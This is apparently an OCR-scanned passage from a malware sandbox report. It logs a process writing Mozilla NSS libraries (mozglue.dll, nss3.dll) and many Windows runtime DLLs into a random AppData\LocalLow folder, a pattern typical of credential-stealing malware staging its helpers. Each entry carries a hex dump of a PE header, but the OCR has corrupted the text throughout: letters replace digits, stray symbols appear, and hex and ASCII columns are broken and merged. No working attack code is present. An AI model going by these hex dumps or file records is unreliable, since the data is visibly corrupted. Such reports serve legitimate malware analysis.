00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 08 01 00 00
Oe 1f ba Oe 00 b4 09
cd 21 b8 01 4c cd 21
54 68 69 73 20 70 72
6f 67 72 61 6d 20 63
61 6e 6e 6f 74 20 62
65 20 72 75 6e 20 69
6e 20 44 4f 53 20 6d
6f 64 65 2e 0d 0d Oa
2400 00 00 00 00 00
00 85 39 b7 bf c1 58
d9eccl58d9eccl
58 d9 ec c8 20 4a ec
c358d9 ec 18 3a d8
ed c358d9 ec 18 3a
da ed c058d9ec18
3adcedc858d9ec
18 3a dd ed ca 58 d9
ec e3 38 d8 ed c4 58
d9 ec c1 58 d8 ec fO
58 d9 ec 0a 3b dd ed
c2 58 d9 ec Oa 3b d9
ed c0 58 d9 ec Oa 3b
26 ec c0 58 d9 ec Oa
3b db ed c0 58 d9 ec
52 69 63 68 c1 58 d9
ec 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00

4d 5a 90 00 03 00 00
00 04 00 00 00 ff ff 00
00 b8 00 00 00 00 00
00 00 40 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 08 01 00 00
Oe 1f ba Oe 00 b4 09
cd 21 b8 01 4c cd 21
54 68 69 73 20 70 72
6f 67 72 61 6d 20 63
61 6e 6e 6f 74 20 62
6520 72 75 6e 20 69
6e 20 44 4f 53 20 6d
6f 64 65 2e 0d 0d Oa
2400 00 00 00 00 00
00 85 39 b7 bf c1 58
d9eccl58d9eccl
58 d9 ec c8 20 4a ec
c358d9 ec 18 3a d8
ed c358d9 ec 18 3a
da ed c058d9ec18
3adcedc858d9ec
18 3a dd ed ca 58 d9
ec e3 38 d8 ed c4 58
d9 ec c1 58 d8 ec fO
58 d9 ec 0a 3b dd ed
c2 58 d9 ec Oa 3b d9
ed c0 58 d9 ec Oa 3b
26 ec c0 58 d9 ec Oa
3b db ed c0 58 d9 ec
52 69 63 68 c1 58 d9
ec 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00

Ascii

V] 72— @.....

cannot be run in DOS
mode....
$on90 XX XL X

............ 1..L.IThis program

cannot be run in DOS
mode....

L9 X XX 3 X
XX X,
X8 XX X X

X & X X Rich. XL

.1..L.IThis program

Completion

success or wait

success or wait

Source

Count Address Symbol

2

2

41ACBE WriteFile

41ACBE WriteFile
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File Path

C:\Users\user\AppData\LocalLow
\eE8sF0yG2eQ6fT7\mozglue.dll

C:\Users\user\AppData\LocalLow
\eE8sF0yG2eQ6fT7\mozMapi32.dll

Copyright null 2021

Offset Length Value

unknown 16384

unknown 16384

4d 5a 90 00 03 00 00
00 04 00 00 00 ff ff 00
00 b8 00 00 00 00 00
00 00 40 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 18 01 00 00
Oe 1f ba Oe 00 b4 09
cd 21 b8 01 4c cd 21
54 68 69 73 20 70 72
6f 67 72 61 6d 20 63
61 6e 6e 6f 74 20 62
65 20 72 75 6e 20 69
6e 20 44 4f 53 20 6d
6f 64 65 2e 0d 0d Oa
2400 00 00 00 00 00
00 8d c2 55 b1 c9 a3
3be2c9a33be2c9
a33be2cOdba8e2
d9 a33be25703fc
e2cha33be210cl
38e3c7a33be210
cl3fe3c2a33be2
10cl 3ae3cda33b
e210cl3ee3dba3
3be2ebc33ae3co
a33be2c9ald3ae2
77 a3 3b e2 02 c0 3f
e3c8a33be202cO
3e e3dd a3 3be202
c0 3b e3 c8 a3 3be2
02 cO0c4e2c8a33b
e2 02 c039e3c8a3
3b e2 52 69 63 68 c9
a3 3b

4d 5a 90 00 03 00 00
00 04 00 00 00 ff ff 00
00 b8 00 00 00 00 00
00 00 40 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 10 01 00 00
Oe 1f ba Oe 00 b4 09
cd 21 b8 01 4c cd 21
54 68 69 732070 72
6f 67 72 61 6d 20 63
61 6e 6e 6f 74 20 62
6520 72 75 6e 20 69
6e 20 44 4f 53 20 6d
6f 64 65 2e 0d 0d Oa
2400 00 00 00 00 00
00 7f e3 6d 52 3b 82
0301 3b 82 03 01 3b
8203 01 19 e2 00 00
3282030119 e2 06
0047 82030119e2
07 00 29 82 03 01 e2
€0 00 00 2a 82 03 01
e2e0 06 0022 8203
01 e2e00700 34 82
03 01 19 e2 02 00 3e
8203 013b 820201
6e 82 03 01 f0 el 06
00 3a 820301 f0 el
03 00 3a 82 03 01 fO
elfc013a820301
f0 e1 01 00 3a 82 03
01 52 69 63 68 3b 82
03 01 00 00 00 00 00
00 00

cannot be run in DOS
mode....
$...

............ 1..L.IThis program

cannot be run in DOS
mode....
$

.1..L.IThis program

Completion

success or wait

success or wait

Source

Count Address Symbol

g

6

41ACBE WriteFile

41ACBE WriteFile

Page 77 of 245



File Path

C:\Users\user\AppData\LocalLow
\eE8sF0yG2eQ6fT7\mozMapi32_InUse.dll

C:\Users\user\AppData\LocalLow
\eE8sF0yG2eQ6fT7\msvcp140.dll

Copyright null 2021

Offset Length Value

unknown 16384

unknown 16384

4d 5a 90 00 03 00 00
00 04 00 00 00 ff ff 00
00 b8 00 00 00 00 00
00 00 40 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 10 01 00 00
Oe 1f ba Oe 00 b4 09
cd 21 b8 01 4c cd 21
54 68 69 732070 72
6f 67 72 61 6d 20 63
61 6e 6e 6f 74 20 62
6520 72 75 6e 20 69
6e 20 44 4f 53 20 6d
6f 64 65 2e 0d 0d Oa
2400 00 00 00 00 00
00 7f e3 6d 52 3b 82
0301 3b 82 03 01 3b
8203 01 19 e2 00 00
3282030119 e2 06
0047 82030119e2
07 00 29 82 03 01 e2
€0 00 00 2a 82 03 01
e2 e0 06 0022 82 03
01 e2e007 00 34 82
03 01 19 e2 02 00 3e
820301 3b 820201
6e 82 03 01 f0 el 06
00 3a 8203 01 f0 el
03 00 3a 82 03 01 fO
elfc013a820301
f0 e1 01 00 3a 82 03
01 52 69 63 68 3b 82
03 01 00 00 00 00 00
00 00

4d 5a 90 00 03 00 00
00 04 00 00 00 ff ff 00
00 b8 00 00 00 00 00
00 00 40 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 f8 00 00 00
Oe 1f ba Oe 00 b4 09
cd 21 b8 01 4c cd 21
54 68 69 73 20 70 72
6f 67 72 61 6d 20 63
61 6e 6e 6f 74 20 62
6520 72 75 6e 20 69
6e 20 44 4f 53 20 6d
6f 64 65 2e 0d 0d Oa
2400 00 00 00 00 00
00 a6 c8 bc 41 e2 a9
d212e2a9d212e2
a9 d2 12 56 35 3d 12
e0a9d2 12 ebdl 41
12faa9d2 12 3bch
d313elag9d212e2
a9d31222a9d2 12
3bcb d113eb a9 d2
12 3b chb d6 13 ee a9
d2123bchd7 134
a9d2 12 3bcbda13
95 a9 d2 12 3b cb d2
13e3a9d2 12 3bch
2d 12e3a9d2 12 3b
cb d0 13 e3 a9 d2 12
52 69 63 68 e2 a9 d2
12 00 00 00 00 00 00
00 00 50 45 00 00 4c
0106

.1..L.IThis program
cannot be run in DOS
mode....

$...

Rich;

Mz

............ 1..L.IThis program
cannot be run in DOS
mode....

Completion

success or wait

success or wait

Source
Count Address Symbol

6 41ACBE WriteFile

27 41ACBE WriteFile
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Source

File Path Offset Length Value Ascii Completion Count Address Symbol
C:\Users\user\AppData\LocalLow\eE8sFOyG2eQ6fT7\nss3.dll  unknown 16384 4d 529000030000 MZ.......ccceoveverenen @..... success or wait 76 41ACBE WriteFile
00 04 00 00 00 ff ff 00

00 b8 00 00 00 00 00 .1..L.IThis program
00 00 40 00 00 00 00 cannot be run in DOS
00 00 00 00 00 00 00 mode....
00000000000000 §......c4.'2"2"2Z..3Z..
00 000000000000 [%.Z.B.#Z..Y*Z..._.-
00000000000000 .Z.A,Z.[/Z.[$.Z"
00000018010000 [..Z..A-Z..Z.&Z...&Z.
Oe 1f ba0e 00 b4 09 ..X.&.Z.Rich'.Z

cd 21 b8 01 4c cd 21

54 68 69 73 20 70 72

6f 67 72 61 6d 20 63

61 6e 6e 6f 74 20 62

65 20 72 75 6e 20 69

6e 20 44 4f 53 20 6d

6f 64 65 2e 0d 0d Oa

2400 00 00 00 00 00

00 63 83 34 8¢ 27 e2

5a df 27 e2 5a df 27

e2 5a df 2e 9a c9 df

33 e2 5a df fe 80 5b

de 25 e2 5a df b9 42

9d df 23 e2 5a df fe 80

59 de 2a e2 5a df fe

80 5f de 2d e2 5a df fe

80 5e de 2c e2 5a df

05 82 5b de 2f e2 5a

df ec 81 5b de 24 e2

5a df 27 e2 5b df d1

e2 5a df ec 81 5e de

2d e3 5a df ec 81 5a

de 26 e2 5a df ec 81

a5 df 26 e2 5a df ec

81 58 de 26 e2 5a df

52 69 63 68 27 2 5a

C:\Users\user\AppData\LocalLow unknown 16384 4d5a9000030000 MZ.......cceceeueniene @..... success or wait 21 41ACBE WriteFile
\eE8sF0OyG2eQ6fT7\nssckbi.dll 00 04 00 00 00 ff ff 00
00 b8 00 00 00 00 00 .1..L.IThis program
00 00 40 00 00 00 00 cannot be run in DOS
00 00 00 00 00 00 00 mode....
00000000000000 $........ 1...Pi..Pi..Pi..(...P
00 00 00 00 00 00 00 i.F2h..Pi.F2j..Pi.F2I..Pi.F2
00 00 00 00 000000 m.
00 00 00 00 01 00 00 .Pi..0h..Pi.T3h..Pi..Ph..Pi.T
Oe 1fba0e 00 b4 09 3
cd21b8014ccd21 m..Pi.T3i.Pi.T3...Pi.T3k..Pi
54 686973207072 .Rich.Pi........
6f 67 72 61 6d 20 63
61 6e 6e 6f 74 20 62
65 20 72 75 6e 20 69
6e 20 44 4f 53 20 6d
6f 64 65 2e 0d 0d Oa
2400 00 00 00 00 00
00 db 31 07 8e 9f 50
69 dd 9f 50 69 dd 9f
50 69 dd 96 28 fa dd
9d 50 69 dd 46 32 68
dc 9d 50 69 dd 46 32
6a dc 9e 50 69 dd 46
32 6¢ dc 95 50 69 dd
46 32 6d dc 94 50 69
dd bd 30 68 dc 9d 50
69 dd 54 33 68 dc 9c
50 69 dd 9f 50 68 dd
a6 50 69 dd 54 33 6d
dc be 50 69 dd 54 33
69 dc 9e 50 69 dd 54
3396 dd 9e 50 69 dd
54 33 6b dc 9e 50 69
dd 52 69 63 68 9f 50
69 dd 00 00 00 00 00
00 00

Copyright null 2021 Page 79 of 245



File Path

C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-
win-core-namedpipe-I1-1-0.dll

C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-
win-core-processenvironment-11-1-0.dll

Copyright null 2021

Offset Length Value

unknown 16384

unknown 16384

4d 5a 90 00 03 00 00
00 04 00 00 00 ff ff 00
00 b8 00 00 00 00 00
00 00 40 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 b8 00 00 00
Oe 1f ba Oe 00 b4 09
cd 21 b8 01 4c cd 21
54 68 69 73 20 70 72
6f 67 72 61 6d 20 63
61 6e 6e 6f 74 20 62
65 20 72 75 6e 20 69
6e 20 44 4f 53 20 6d
6f 64 65 2e 0d 0d Oa
2400 00 00 00 00 00
00 db 6d Ob c1 9f Oc
65 92 9f Oc 65 92 9f
Oc 65 92 ec 6e 65 93
9e Oc 65 92 ec 6e 61
93 9d Oc 65 92 ec 6e
9a 92 9e Oc 65 92 ec
6e 67 93 9e Oc 65 92
52 69 63 68 9f Oc 65
92 50 45 00 00 4c 01
02 00 20 17 89 €9 00
00 00 00 00 00 00 00
€0 00 02 21 Ob 01 Oe
0a 00 04 00 00 00 04
00 00 00 00 00 00 00
00 00 00 00 10 00 00
00 20 00 00 00 00 00
10 00 10 00 00 00 02
00 00 0a 00 00 00 Oa
00 00

4d 5a 90 00 03 00 00
00 04 00 00 00 ff ff 00
00 b8 00 00 00 00 00
00 00 40 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 b8 00 00 00
Oe 1f ba Oe 00 b4 09
cd 21 b8 01 4c cd 21
54 68 69 73 20 70 72
6f 67 72 61 6d 20 63
61 6e 6e 6f 74 20 62
6520 72 75 6e 20 69
6e 20 44 4f 53 20 6d
6f 64 65 2e 0d 0d Oa
2400 00 00 00 00 00
00 db 6d Ob c1 9f Oc
65 92 9f Oc 65 92 9f
Oc 65 92 ec 6e 65 93
9e Oc 65 92 ec 6e 61
93 9d Oc 65 92 ec 6e
9a 92 9e Oc 65 92 ec
6e 67 93 9e Oc 65 92
52 69 63 68 9f Oc 65
92 50 45 00 00 4c 01
02 00 29 e5 72 97 00
00 00 00 00 00 00 00
€0 00 02 21 Ob 01 Oe
0a 00 08 00 00 00 04
00 00 00 00 00 00 00
00 00 00 00 10 00 00
00 20 00 00 00 00 00
10 00 10 00 00 00 02
00 00 0a 00 00 00 Oa
00 00

cannot be run in DOS
mode....

............ 1..L.IThis program

cannot be run in DOS
mode....
$...

N[ | S Y it I ] S B

e..na...e..n....e..ng...e.Rich

.e.PE.L.).r !

.1..L.IThis program

Completion

success or wait

success or wait

Source

Count Address Symbol

2

2

41ACBE WriteFile

41ACBE WriteFile

Page 80 of 245



File Path

C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-
win-core-processthreads-11-1-0.dll

C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-
win-core-processthreads-11-1-1.dll

Copyright null 2021

Offset Length Value

unknown 16384

unknown 16384

4d 5a 90 00 03 00 00
00 04 00 00 00 ff ff 00
00 b8 00 00 00 00 00
00 00 40 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 b8 00 00 00
Oe 1f ba Oe 00 b4 09
cd 21 b8 01 4c cd 21
54 68 69 73 20 70 72
6f 67 72 61 6d 20 63
61 6e 6e 6f 74 20 62
65 20 72 75 6e 20 69
6e 20 44 4f 53 20 6d
6f 64 65 2e 0d 0d Oa
2400 00 00 00 00 00
00 db 6d Ob c1 9f Oc
65 92 9f Oc 65 92 9f
Oc 65 92 ec 6e 65 93
9e Oc 65 92 ec 6e 61
93 9d Oc 65 92 ec 6e
9a 92 9e Oc 65 92 ec
6e 67 93 9e Oc 65 92
52 69 63 68 9f Oc 65
92 50 45 00 00 4c 01
02 00 f3 19 95 b4 00
00 00 00 00 00 00 00
€0 00 02 21 Ob 01 Oe
0a 00 Oc 00 00 00 04
00 00 00 00 00 00 00
00 00 00 00 10 00 00
00 20 00 00 00 00 00
10 00 10 00 00 00 02
00 00 0a 00 00 00 Oa
00 00

4d 5a 90 00 03 00 00
00 04 00 00 00 ff ff 00
00 b8 00 00 00 00 00
00 00 40 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 b8 00 00 00
Oe 1f ba Oe 00 b4 09
cd 21 b8 01 4c cd 21
54 68 69 73 20 70 72
6f 67 72 61 6d 20 63
61 6e 6e 6f 74 20 62
6520 72 75 6e 20 69
6e 20 44 4f 53 20 6d
6f 64 65 2e 0d 0d Oa
2400 00 00 00 00 00
00 db 6d Ob c1 9f Oc
65 92 9f Oc 65 92 9f
Oc 65 92 ec 6e 65 93
9e Oc 65 92 ec 6e 61
93 9d Oc 65 92 ec 6e
9a 92 9e Oc 65 92 ec
6e 67 93 9e Oc 65 92
52 69 63 68 9f Oc 65
92 50 45 00 00 4c 01
02 00 11 39 ee d7 00
00 00 00 00 00 00 00
€0 00 02 21 Ob 01 Oe
0a 00 06 00 00 00 04
00 00 00 00 00 00 00
00 00 00 00 10 00 00
00 20 00 00 00 00 00
10 00 10 00 00 00 02
00 00 0a 00 00 00 Oa
00 00

cannot be run in DOS
mode....

............ 1..L.IThis program

cannot be run in DOS
mode....
$...

N S Y Tt S ] B

e..na...e..n....e..ng...e.Rich

MCIREN|BON

.1..L.IThis program

Completion

success or wait

success or wait

Source

Count Address Symbol

2

2

41ACBE WriteFile

41ACBE WriteFile
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File Path

C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-
win-core-profile-11-1-0.dll

C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-
win-core-rtisupport-11-1-0.dll

Copyright null 2021

Offset Length Value

unknown 16384

unknown 16384

4d 5a 90 00 03 00 00
00 04 00 00 00 ff ff 00
00 b8 00 00 00 00 00
00 00 40 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 b8 00 00 00
Oe 1f ba Oe 00 b4 09
cd 21 b8 01 4c cd 21
54 68 69 73 20 70 72
6f 67 72 61 6d 20 63
61 6e 6e 6f 74 20 62
65 20 72 75 6e 20 69
6e 20 44 4f 53 20 6d
6f 64 65 2e 0d 0d Oa
2400 00 00 00 00 00
00 db 6d Ob c1 9f Oc
65 92 9f Oc 65 92 9f
Oc 65 92 ec 6e 65 93
9e Oc 65 92 ec 6e 61
93 9d Oc 65 92 ec 6e
9a 92 9e Oc 65 92 ec
6e 67 93 9e Oc 65 92
52 69 63 68 9f Oc 65
92 50 45 00 00 4c 01
02 00 e2 bc 26 dc 00
00 00 00 00 00 00 00
€0 00 02 21 Ob 01 Oe
0a 00 02 00 00 00 04
00 00 00 00 00 00 00
00 00 00 00 10 00 00
00 20 00 00 00 00 00
10 00 10 00 00 00 02
00 00 0a 00 00 00 Oa
00 00

4d 5a 90 00 03 00 00
00 04 00 00 00 ff ff 00
00 b8 00 00 00 00 00
00 00 40 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 b8 00 00 00
Oe 1f ba Oe 00 b4 09
cd 21 b8 01 4c cd 21
54 68 69 73 20 70 72
6f 67 72 61 6d 20 63
61 6e 6e 6f 74 20 62
6520 72 75 6e 20 69
6e 20 44 4f 53 20 6d
6f 64 65 2e 0d 0d Oa
2400 00 00 00 00 00
00 db 6d Ob c1 9f Oc
65 92 9f Oc 65 92 9f
Oc 65 92 ec 6e 65 93
9e Oc 65 92 ec 6e 61
93 9d Oc 65 92 ec 6e
9a 92 9e Oc 65 92 ec
6e 67 93 9e Oc 65 92
52 69 63 68 9f Oc 65
92 50 45 00 00 4c 01
02 00 Oa c2 c2 28 00
00 00 00 00 00 00 00
€0 00 02 21 Ob 01 Oe
0a 00 02 00 00 00 04
00 00 00 00 00 00 00
00 00 00 00 10 00 00
00 20 00 00 00 00 00
10 00 10 00 00 00 02
00 00 0a 00 00 00 Oa
00 00

cannot be run in DOS
mode....

............ 1..L.IThis program

cannot be run in DOS
mode....
$...

N[ | S Y it I ] S B

e..na...e..n....e..ng...e.Rich

.1..L.IThis program

Completion

success or wait

success or wait

Source

Count Address Symbol

2

2

41ACBE WriteFile

41ACBE WriteFile
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File Path

C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-

win-core-string-11-1-0.dll

C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-
win-core-synch-11-1-0.dll

Copyright null 2021

Offset Length Value

unknown 16384

unknown 16384

4d 5a 90 00 03 00 00
00 04 00 00 00 ff ff 00
00 b8 00 00 00 00 00
00 00 40 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 b8 00 00 00
Oe 1f ba Oe 00 b4 09
cd 21 b8 01 4c cd 21
54 68 69 73 20 70 72
6f 67 72 61 6d 20 63
61 6e 6e 6f 74 20 62
65 20 72 75 6e 20 69
6e 20 44 4f 53 20 6d
6f 64 65 2e 0d 0d Oa
2400 00 00 00 00 00
00 db 6d Ob c1 9f Oc
65 92 9f Oc 65 92 9f
Oc 65 92 ec 6e 65 93
9e Oc 65 92 ec 6e 61
93 9d Oc 65 92 ec 6e
9a 92 9e Oc 65 92 ec
6e 67 93 9e Oc 65 92
52 69 63 68 9f Oc 65
92 50 45 00 00 4c 01
02 00 f9 1e 52 17 00
00 00 00 00 00 00 00
€0 00 02 21 Ob 01 Oe
0a 00 04 00 00 00 04
00 00 00 00 00 00 00
00 00 00 00 10 00 00
00 20 00 00 00 00 00
10 00 10 00 00 00 02
00 00 0a 00 00 00 Oa
00 00

4d 5a 90 00 03 00 00
00 04 00 00 00 ff ff 00
00 b8 00 00 00 00 00
00 00 40 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 b8 00 00 00
Oe 1f ba Oe 00 b4 09
cd 21 b8 01 4c cd 21
54 68 69 73 20 70 72
6f 67 72 61 6d 20 63
61 6e 6e 6f 74 20 62
6520 72 75 6e 20 69
6e 20 44 4f 53 20 6d
6f 64 65 2e 0d 0d Oa
2400 00 00 00 00 00
00 db 6d Ob c1 9f Oc
65 92 9f Oc 65 92 9f
Oc 65 92 ec 6e 65 93
9e Oc 65 92 ec 6e 61
93 9d Oc 65 92 ec 6e
9a 92 9e Oc 65 92 ec
6e 67 93 9e Oc 65 92
52 69 63 68 9f Oc 65
92 50 45 00 00 4c 01
02 00 88 d1 10 32 00
00 00 00 00 00 00 00
€0 00 02 21 Ob 01 Oe
0a 00 Oc 00 00 00 04
00 00 00 00 00 00 00
00 00 00 00 10 00 00
00 20 00 00 00 00 00
10 00 10 00 00 00 02
00 00 0a 00 00 00 Oa
00 00

cannot be run in DOS
mode....

............ 1..L.IThis program

cannot be run in DOS
mode....
$...

N[ | S Y it I ] S B

e..na...e..n....e..ng...e.Rich

.1..L.IThis program

Completion

success or wait

success or wait

Source

Count Address Symbol

2

2

41ACBE WriteFile

41ACBE WriteFile
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File Path

C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-
win-core-synch-11-2-0.dll

C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-
win-core-sysinfo-11-1-0.dll

Copyright null 2021

Offset Length Value

unknown 16384

unknown 16384

4d 5a 90 00 03 00 00
00 04 00 00 00 ff ff 00
00 b8 00 00 00 00 00
00 00 40 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 b8 00 00 00
Oe 1f ba Oe 00 b4 09
cd 21 b8 01 4c cd 21
54 68 69 73 20 70 72
6f 67 72 61 6d 20 63
61 6e 6e 6f 74 20 62
65 20 72 75 6e 20 69
6e 20 44 4f 53 20 6d
6f 64 65 2e 0d 0d Oa
2400 00 00 00 00 00
00 db 6d Ob c1 9f Oc
65 92 9f Oc 65 92 9f
Oc 65 92 ec 6e 65 93
9e Oc 65 92 ec 6e 61
93 9d Oc 65 92 ec 6e
9a 92 9e Oc 65 92 ec
6e 67 93 9e Oc 65 92
52 69 63 68 9f Oc 65
92 50 45 00 00 4c 01
02 00 58 2a 75 59 00
00 00 00 00 00 00 00
€0 00 02 21 Ob 01 Oe
0a 00 06 00 00 00 04
00 00 00 00 00 00 00
00 00 00 00 10 00 00
00 20 00 00 00 00 00
10 00 10 00 00 00 02
00 00 0a 00 00 00 Oa
00 00

4d 5a 90 00 03 00 00
00 04 00 00 00 ff ff 00
00 b8 00 00 00 00 00
00 00 40 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 b8 00 00 00
Oe 1f ba Oe 00 b4 09
cd 21 b8 01 4c cd 21
54 68 69 73 20 70 72
6f 67 72 61 6d 20 63
61 6e 6e 6f 74 20 62
6520 72 75 6e 20 69
6e 20 44 4f 53 20 6d
6f 64 65 2e 0d 0d Oa
2400 00 00 00 00 00
00 db 6d Ob c1 9f Oc
65 92 9f Oc 65 92 9f
Oc 65 92 ec 6e 65 93
9e Oc 65 92 ec 6e 61
93 9d Oc 65 92 ec 6e
9a 92 9e Oc 65 92 ec
6e 67 93 9e Oc 65 92
52 69 63 68 9f Oc 65
92 50 45 00 00 4c 01
02 00 02 88 43 3d 00
00 00 00 00 00 00 00
€0 00 02 21 Ob 01 Oe
0a 00 08 00 00 00 04
00 00 00 00 00 00 00
00 00 00 00 10 00 00
00 20 00 00 00 00 00
10 00 10 00 00 00 02
00 00 0a 00 00 00 Oa
00 00

cannot be run in DOS
mode....

............ 1..L.IThis program

cannot be run in DOS
mode....
$...

N S Y Tt S ] B

e..na...e..n....e..ng...e.Rich

MCIREN|aNE=

.1..L.IThis program

Completion

success or wait

success or wait

Source

Count Address Symbol

2

2

41ACBE WriteFile

41ACBE WriteFile
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File Path

C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-
win-core-timezone-|1-1-0.dll

C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-
win-core-util-11-1-0.dll

Copyright null 2021

Offset Length Value

unknown 16384

unknown 16384

4d 5a 90 00 03 00 00
00 04 00 00 00 ff ff 00
00 b8 00 00 00 00 00
00 00 40 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 b8 00 00 00
Oe 1f ba Oe 00 b4 09
cd 21 b8 01 4c cd 21
54 68 69 73 20 70 72
6f 67 72 61 6d 20 63
61 6e 6e 6f 74 20 62
65 20 72 75 6e 20 69
6e 20 44 4f 53 20 6d
6f 64 65 2e 0d 0d Oa
2400 00 00 00 00 00
00 db 6d Ob c1 9f Oc
65 92 9f Oc 65 92 9f
Oc 65 92 ec 6e 65 93
9e Oc 65 92 ec 6e 61
93 9d Oc 65 92 ec 6e
9a 92 9e Oc 65 92 ec
6e 67 93 9e Oc 65 92
52 69 63 68 9f Oc 65
92 50 45 00 00 4c 01
02 00 8¢ 59 cc 78 00
00 00 00 00 00 00 00
€0 00 02 21 Ob 01 Oe
0a 00 04 00 00 00 04
00 00 00 00 00 00 00
00 00 00 00 10 00 00
00 20 00 00 00 00 00
10 00 10 00 00 00 02
00 00 0a 00 00 00 Oa
00 00

4d 5a 90 00 03 00 00
00 04 00 00 00 ff ff 00
00 b8 00 00 00 00 00
00 00 40 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 b8 00 00 00
Oe 1f ba Oe 00 b4 09
cd 21 b8 01 4c cd 21
54 68 69 73 20 70 72
6f 67 72 61 6d 20 63
61 6e 6e 6f 74 20 62
6520 72 75 6e 20 69
6e 20 44 4f 53 20 6d
6f 64 65 2e 0d 0d Oa
2400 00 00 00 00 00
00 db 6d Ob c1 9f Oc
65 92 9f Oc 65 92 9f
Oc 65 92 ec 6e 65 93
9e Oc 65 92 ec 6e 61
93 9d Oc 65 92 ec 6e
9a 92 9e Oc 65 92 ec
6e 67 93 9e Oc 65 92
52 69 63 68 9f Oc 65
92 50 45 00 00 4c 01
02 00 d9 03 66 ab 00
00 00 00 00 00 00 00
€0 00 02 21 Ob 01 Oe
0a 00 04 00 00 00 04
00 00 00 00 00 00 00
00 00 00 00 10 00 00
00 20 00 00 00 00 00
10 00 10 00 00 00 02
00 00 0a 00 00 00 Oa
00 00

cannot be run in DOS
mode....

e..na..e..n
LePE.L..YX........ I,

............ 1..L.IThis program

cannot be run in DOS
mode....
$...

N[ | S Y it I ] S B

e..na...e..n....e..ng...e.Rich

.1..L.IThis program

.e..ng...e.Rich

Completion

success or wait

success or wait

Source

Count Address Symbol

2

2

41ACBE WriteFile

41ACBE WriteFile

Page 85 of 245



File Path

C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-

win-crt-conio-11-1-0.dlI

C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-

win-crt-convert-11-1-0.dll

Copyright null 2021

Offset Length Value

unknown 16384

unknown 16384

4d 5a 90 00 03 00 00
00 04 00 00 00 ff ff 00
00 b8 00 00 00 00 00
00 00 40 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 b8 00 00 00
Oe 1f ba Oe 00 b4 09
cd 21 b8 01 4c cd 21
54 68 69 73 20 70 72
6f 67 72 61 6d 20 63
61 6e 6e 6f 74 20 62
65 20 72 75 6e 20 69
6e 20 44 4f 53 20 6d
6f 64 65 2e 0d 0d Oa
2400 00 00 00 00 00
00 db 6d Ob c1 9f Oc
65 92 9f Oc 65 92 9f
Oc 65 92 ec 6e 65 93
9e Oc 65 92 ec 6e 61
93 9d Oc 65 92 ec 6e
9a 92 9e Oc 65 92 ec
6e 67 93 9e Oc 65 92
52 69 63 68 9f Oc 65
92 50 45 00 00 4c 01
02 00 Of c9 df a8 00
00 00 00 00 00 00 00
€0 00 02 21 Ob 01 Oe
0a 00 08 00 00 00 04
00 00 00 00 00 00 00
00 00 00 00 10 00 00
00 20 00 00 00 00 00
10 00 10 00 00 00 02
00 00 0a 00 00 00 Oa
00 00

4d 5a 90 00 03 00 00
00 04 00 00 00 ff ff 00
00 b8 00 00 00 00 00
00 00 40 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 b8 00 00 00
Oe 1f ba Oe 00 b4 09
cd 21 b8 01 4c cd 21
